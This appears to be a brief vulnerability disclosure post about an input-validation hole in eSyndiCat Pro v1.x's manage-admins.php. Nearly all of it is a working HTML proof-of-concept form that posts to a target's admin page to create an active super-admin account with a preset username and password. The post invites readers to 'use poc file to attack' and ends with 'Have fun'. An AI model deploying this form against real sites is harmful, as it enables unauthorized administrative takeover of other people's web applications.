eSyndiCat Input Validation Error Vulnerability

[hack2prison () yahoo com]

eSyndiCat is Directory websystem, a product of eSyndiCat.com
It has security hole allow attackers get admin and more and more.
Infected version: eSyndiCat Pro v1.x
Infected file: manage-admins.php
Use poc file to attack:

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<p>Discovered by H2P - A member of http://vnbrain.net
<form action="http://target/path/admin/manage-admins.php?action=add"; method="post">
<table cellspacing="0" cellpadding="0" width="100%" class="striped">
<tr>
        <td width="200"><strong>Admin username:</strong></td>
        <td><input type="text" name="username" size="22" value="checked"/></td>
</tr>
<tr>
        <td><strong>Admin Fullname:</strong></td>
        <td><input type="text" name="fullname" size="22" value="Check Only"/></td>
</tr>
<tr>
        <td><strong>Admin Email:</strong></td>
        <td>
        <input type="text" name="email" size="22" value="hack2prison () freeprotect net" /></td>
</tr>
<tr>
        <td><strong>Admin password:</strong></td>
        <td><input type="password" name="new_pass" size="22" value="123456" /></td>
</tr>
<tr>
        <td><strong>Admin Password Confirmation:</strong></td>
        <td><input type="password" name="new_pass2" size="22" value="123456" /></td>
</tr>
<tr>
        <td><strong>Admin Status:</strong></td>
                <td><select name="status">
                        <option value="active" >Active</option>
                        <option value="approval" >Approval</option>             
                </select></td>
</tr>
<tr>
        <td><strong>Submission Notification:</strong></td>
                <td><input type="radio" name="submit_notif" value="1" id="lsn1" checked="checked" /><label 
for="lsn1">Enabled</label>
                <input type="radio" name="submit_notif" value="0" id="lsn0" /><label for="lsn0">Disabled</label>
        </td>
</tr>
<tr>
        <td><strong>Payment Notification:</strong></td>
                
        <td><input type="radio" name="payment_notif" value="1" id="lpn1" checked="checked" /><label 
for="lpn1">Enabled</label>
                <input type="radio" name="payment_notif" value="0" id="lpn0" /><label for="lpn0">Disabled</label>
        </td>
</tr>
        
<tr>
        <td class="caption" colspan="2"><strong>Admin Permissions</strong></td>
</tr>
<tr>
        <td><strong>Super Admin:</strong></td>
                        <td><input type="radio" name="super" value="1" id="type1" checked="checked" 
onclick="javascript:document.getElementById('permissions').style.display='none';" /><label for="type1">Enabled</label>
                <input type="radio" name="super" value="0" id="type0"  
onclick="javascript:document.getElementById('permissions').style.display='block';"/><label for="type0">Disabled</label>
        </td>
</tr>
</table>

<table cellspacing="0" width="100%">
<tr class="all">
        <td colspan="2"><input type="submit" name="save" value="Save Changes" />
                <input type="hidden" name="id" value="" />
                <input type="hidden" name="action" value="add" />
        </td>
</tr>
</table>
</form>
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Have fun